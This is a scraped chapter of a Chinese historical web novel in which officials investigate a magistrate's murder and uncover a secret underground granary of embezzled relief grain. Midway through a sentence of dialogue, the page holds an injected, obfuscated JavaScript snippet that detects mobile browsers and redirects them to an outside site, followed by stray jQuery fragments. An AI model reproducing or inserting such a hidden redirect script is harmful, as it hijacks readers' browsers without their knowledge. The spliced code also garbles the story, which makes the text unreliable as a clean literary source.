默认冷灰
24号文字
方正启体

86. 偷粮

作者:春台秋水本书字数:K更新时间:
    邓夷宁未曾想过赵振竟会以这样的方式殒命,和邓毅德一样,一刀毙命。她大口呼吸着,来不及细想,心下第一念竟是刘仲仁。回头同季淮书叮嘱几句,便匆匆往沈府赶去。


    冷风灌进喉中,她只觉危机四伏,恍若有只无形的暗手正缓缓收拢。


    幸而抵达沈府得知的消息不差,刘仲仁睡得安稳,未见异常。沈郜急忙迎上,低问:“王妃,是出事了?”


    “赵振死了。”


    沈郜怔在当场,半晌才回过神来,急急命人叫回院中四周的暗哨,又一一询问可有发现异常。守卫们皆言无所见,巡夜也未曾遇见可疑之人。


    然而邓夷宁心中却愈发沉重,她极少全然信任自己的直觉,可此时此刻,她不得不信——赵振已死,下一个,必定是刘仲仁。衙门四周的守卫并不少,能在层层巡防下靠近衙门且不留痕迹,那杀手的武功绝不在她之下。


    她行至刘仲仁院中,抬眼望向紧闭的大门,心底掠过一丝烦躁。若此处是西戎,就算没有那将军令牌,她尚有人手可调配;可此番遂农结交的不过是商户,沈家这些侍卫的三脚猫功夫,还不敌刚入营的那些女子。


    那夜的黑衣人若是一个,她尚能周旋;两个三个,也可拼杀出一条血路;倘若五个六个,她便无十成把握了。


    正思索间,房门吱呀一声开了,刘仲仁步履踉跄,面色比昨日临走时好了不少,却依旧稍显苍白。目光在邓夷宁和沈郜间来回转,试探道:“可是出了事?”


    邓夷宁咬着下唇,缓缓言道:“赵振死了,一刀毙命。”


    赵振身子一震,唇色更白。


    “如今情势凶险,你在此地虽安全,可若发生变故便会牵连这一家老小。我给你两个选择,一是回大宣城避避风头,二是权当这一切没发生过,即刻启程回巡按司,你自己定夺。”


    刘仲仁几乎未加思索:“我回沧州,回京是万万不能的,我不能再麻烦王妃了。即刻启程,天黑之前尽量赶回巡按司,若是再迟,洪大宝定起疑心。若能在途中寻些村户,就说我是在林郊遇见贼人受伤昏迷,醒来已是翌日,能回沧州已属侥幸。”


    邓夷宁只凝望他片刻,便借了沈家的一匹马。临行前,她亲自送他出城,再将缰绳交到他手中,嘱咐道:“这马匹识路,沿途的乡道必定有马户,若遇见便提前丢下此马,再步行至此另寻一匹。如此一来,纵然洪大宝沿途打探,也难以一时间发现破绽。万事小心谨慎,切勿死拼。”


    刘仲仁点头,虽伤势未愈,却已无退路,只能拖着病体咬牙纵马,身形渐远。


    正如邓夷宁所料,沿途不止一家马户。算着路程,在第三家马户不远处停下,为使伪装更真,竟用佩刀将几处已近痊愈的伤口划开。血流如流水,湿透半边衣裳。马户见状大惊失色,替他简单处理伤口,刘仲仁用佩刀作为报酬,再换了一匹快马,虽不如沈府的那匹,但也在天黑之前赶回沧州。


    只是他未曾料到,洪大宝竟不在巡按司。


    “主事昨日一早就出去了,也没说去哪儿,今日当值也没来。这么一说,今日本该耿大人监工,也没来。”立在门旁的巡吏如实回答,“刘大人,您这伤……”


    “意外,回来时遇到一群贼匪,敌众我寡,滚下山坡捡了一命,这事儿别出去声张。我两日没到巡按司,可有发生什么别的事?”刘仲仁嘶了一声,包扎的人稍微使了点力。


    “两日?”另一个巡吏皱着眉头,“可大人已是整整三日未到巡按司了?”


    刘仲仁故作诧异,眉头紧锁,仿若真不记得:“三日?可我是昨日辰时离开沧州的,到那边已临近酉时。之后歇了一晚,城门一开便快马加鞭往回走,现在应不过未时。”


    巡吏更是不解:“大人莫不是伤了脑袋,这都申时过半了,打更人刚走的。”


    刘仲仁借势揉了揉脑袋,发出痛苦的声音,太阳穴也生疼。巡吏见状立马说去请大夫再来瞧瞧,刘仲仁也没拦他,等大夫一进门,除了在脑后有个肿块,却没看出别的异样。


    “恐怕就是这肿块,大人以为自己只是昏过去一小会,却不知已是整整一天一夜。这里面怕是血块,大人得小心谨慎,若是这肿块不慎破裂,恐是性命难保。”


    刘仲仁脸色难看,心里却满是鄙夷。王妃请的大夫说就是个肿块,日后消下去便无妨,亦不伤性命。眼前这庸医倒是张口就来,但恰好正中他下怀,这屋中巡吏皆可为他佐证。倘若洪大宝逼问,也不会深究细节。


    “多谢大夫。”


    “无妨,我给你开两副方子,吃上半月,等气血上来便也无碍。”


    大夫起身离开,巡吏也跟着离开,说是去送送他,却再也没回来。眼下也只能在巡按司住下,倒也落个轻快,只是洪大宝不在巡按司,怕是亲自去了遂农。刘仲仁心道不好,那赵振莫不是洪大宝动的手。


    他在屋中寻了笔墨,翻出自己的私印,蹑手蹑脚往驿站走去。


    “我是清风街巡按司从事,这封信请务必交于昭王妃和大理寺的季寺卿,二人应是在遂农县县衙;若县衙无人,烦请送去里河巷的沈府沈郜。此事涉及朝廷官员性命,请务必转达。”


    交接好流程,刘仲仁转去明月楼要了他们家爆火的糕点,等了两刻才到手。酒菜买到手,他才不紧不慢往巡按司走去。


    驿站的马匹与战场上的快马一样,沿着官道一路飞奔,赶在关城门的前一刻顺利抵达。


    驿丞是在殓房找到季淮书和邓夷宁的,二人此刻正让仵作进行第二次验尸。但结果并不如愿,与第一次验尸结果一模一样。正当二人毫无头绪时,信来了。


    信中只有短短一行字:腥臭其地,却耿直如我,同昨日一样。


    邓夷宁正捉摸着,一旁的季淮书脱口而出:“洪大宝跟耿聿司来了。”


    细看其中,这“腥”字与“耿”字的写法都有错误,但不明显。邓夷宁眼前一亮,心里刚熄灭的那道火苗又燃了起来,等回家找到周肃之时,三人又制定了一套计划。


    “既然他来了,我们就离开这里,去沧州。”


    季淮书立马接上:“不管他是不是来杀赵振的,都已经不重要了,只要我们赶在他之前去到沧州,我便可以用大理寺的名头压下他们。”


    周肃之有些疑虑:“可安达乡的事怎么办,杀害舒梅的到底是不是赵振。”


    “不是。”二人异口同声,邓夷宁使了个眼神,周肃之继续道,“刘仲仁闯衙门那日,我试过赵振的身手,四肢无力,显然不是个练家子。何况他那双手的老茧都分布在指尖和指节,虎口和拇指光滑平整。”


    “没错,那夜我去见他时曾给过他一柄匕首,握匕首的姿势


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16240007|166329||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    完全不像。”邓夷宁附和道。


    “万一只是做戏与你,掩盖身份而已?”


    邓夷宁摇头:“也不会,几日相处下来,他一说假话就磕磕绊绊,无一例外。更何况,百姓口中的好官,甚至是为民舍己,怎会去杀掉一个清清白白的姑娘。”


    “等拿到确凿的证据再说吧。”


    周肃之的语气有些奇怪,季淮书眼一眯,道破:“你是不是在安达乡发现了什么?”


    邓夷宁也有些好奇,可周肃之迟迟不肯说话,最终起身走向书房,关上了门。邓夷宁性子急,等不了这么久,起身就去推门,不料二人差点撞上。


    “这是尤显在家中找到,亲手交于我的。”周肃之举起手中的第一本,“这是安达乡前两年的义仓副本,与我在乡署所看到的完全不同。第二本,里面记录了朝廷的所有拨款数量以及用途,但无一例外,只要是跟修仓筑堤相关的所有拨款,皆有衙门官印和赵振私印,但数量却是上呈公文的一半。”


    “这第三本,是两封状告信,书信虽是匿名,但还是查出来写信之人曾与赵振同属衙门,名张业。他虽不是官职之人,却被赵振重用,亲手处理过转运粮食之事。据他所说,赵振曾指使他调拨粮食入县衙私仓,有富足的便让可靠之人转手倒卖于商贩。”


    “除了衙门私仓,他还有个自己的粮食库,张业也曾进去过,就在衙门的知县内宅里。沧州拨款开设施粥棚,银两便全部入了赵振的口袋里,私仓的粮不够,他就假装去外地买粮。赚了名声,也白得银两。”


    邓夷宁几乎是赫然起身,眼中闪过诧异:“这不可能,知县内宅上上下下我们都搜了个遍,哪里来的什么密室。”


    “有个地下密道,通往衙门旁的那间小院。密室,就在小院地下。”


    季淮书也有些震惊,眉头越凑越紧。眼前的所有书册,那字迹和官印绝非一时伪造。只是证据摆在眼前,若不亲眼所见,他也断然不会相信。


    “走一趟便知。”


    夜色沉沉,三人着急忙慌闯进衙门,因赵振已死,衙役都有些松散,巡夜的也不见踪影。邓夷宁走在前头,思绪翻涌不断。


    知县内宅依旧静谧,月光洒落,周肃之直奔花圃。在泥里一通翻找,还真找到一块藏在其中石板。用力一掀,竟真显出一个漆黑的入口。


    邓夷宁屏住呼吸,瞳孔微缩,立在原地说不出一句话。


    季淮书回身出去找了两个火把,沉声道:“将军,走吧。”


    三人一前一后步入,甬道稍显狭窄,脚步声清晰可见。走到半途,忽然咔哒一声,走在前头的周肃之似乎踩到了什么东西。低头一看,火光摇曳中,赫然是一枚玉佩躺在地上。


    有些眼熟,邓夷宁细想,是第一次与赵振见面时,他挂在腰间的那一枚。


    霎时,邓夷宁愣在原地,她缓缓回眸看向季淮书,眼神复杂至极。季淮书也有些动摇,但并未表露,只点头示意她往前继续走。


    再往前数十步,是一道石门,机关就在一侧的石壁上,按下,门就开了。


    门后的空间骤然敞开,火把的光就算再暗,她也能看清里面堆叠了一层层的麻袋。而那麻袋上还印着沧州转运的官印,清清楚楚。


    周肃之上前打开一袋,露出里面饱满圆润的大米,转身看向两人,久久地沉默。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)